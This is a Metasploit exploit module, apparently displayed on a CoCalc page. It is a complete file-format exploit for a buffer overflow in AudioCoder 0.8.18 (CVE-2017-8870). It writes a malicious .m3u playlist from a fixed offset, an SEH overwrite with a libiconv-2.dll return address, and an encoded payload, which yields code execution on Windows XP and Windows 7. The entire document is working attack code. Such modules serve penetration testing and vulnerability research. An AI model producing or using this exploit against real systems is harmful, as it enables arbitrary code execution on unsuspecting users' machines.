CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::FILEFORMAT
10
  include Msf::Exploit::Seh
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'AudioCoder .M3U Buffer Overflow',
15
      'Description'    => %q{
16
          This module exploits a buffer overflow in AudioCoder 0.8.18. The vulnerability
17
        occurs when adding an .m3u, allowing arbitrary code execution with the privileges
18
        of the user running AudioCoder. This module has been tested successfully on
19
        AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.
20
      },
21
      'License'        => MSF_LICENSE,
22
      'Author'         =>
23
        [
24
          'metacom', # Vulnerability discovery and PoC
25
          'juan vazquez' # Metasploit module
26
        ],
27
      'References'     =>
28
        [
29
          [ 'CVE', '2017-8870' ],
30
          [ 'OSVDB', '92939' ],
31
          [ 'EDB', '25141' ]
32
        ],
33
      'DefaultOptions'  =>
34
        {
35
          'EXITFUNC' => 'process'
36
        },
37
      'Platform'       => 'win',
38
      'Payload'        =>
39
        {
40
          'Space'           => 6596,
41
          'BadChars'        => "\x00\x5c\x40\x0d\x0a",
42
          'DisableNops'     => true,
43
          'StackAdjustment' => -3500,
44
        },
45
      'Targets'        =>
46
        [
47
          [ 'AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1',
48
            {
49
              'Ret'     => 0x66011b56, # ppr from libiconv-2.dll
50
              'Offset'  => 765
51
            }
52
          ]
53
        ],
54
      'Privileged'     => false,
55
      'DisclosureDate' => '2013-05-01',
56
      'DefaultTarget'  => 0))
57

58
    register_options(
59
      [
60
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
61
      ])
62

63
  end
64

65
  def exploit
66
    buffer = "http://"
67
    buffer << rand_text(target['Offset'])
68
    buffer << generate_seh_record(target.ret)
69
    buffer << payload.encoded
70

71
    file_create(buffer)
72
  end
73
end
74

75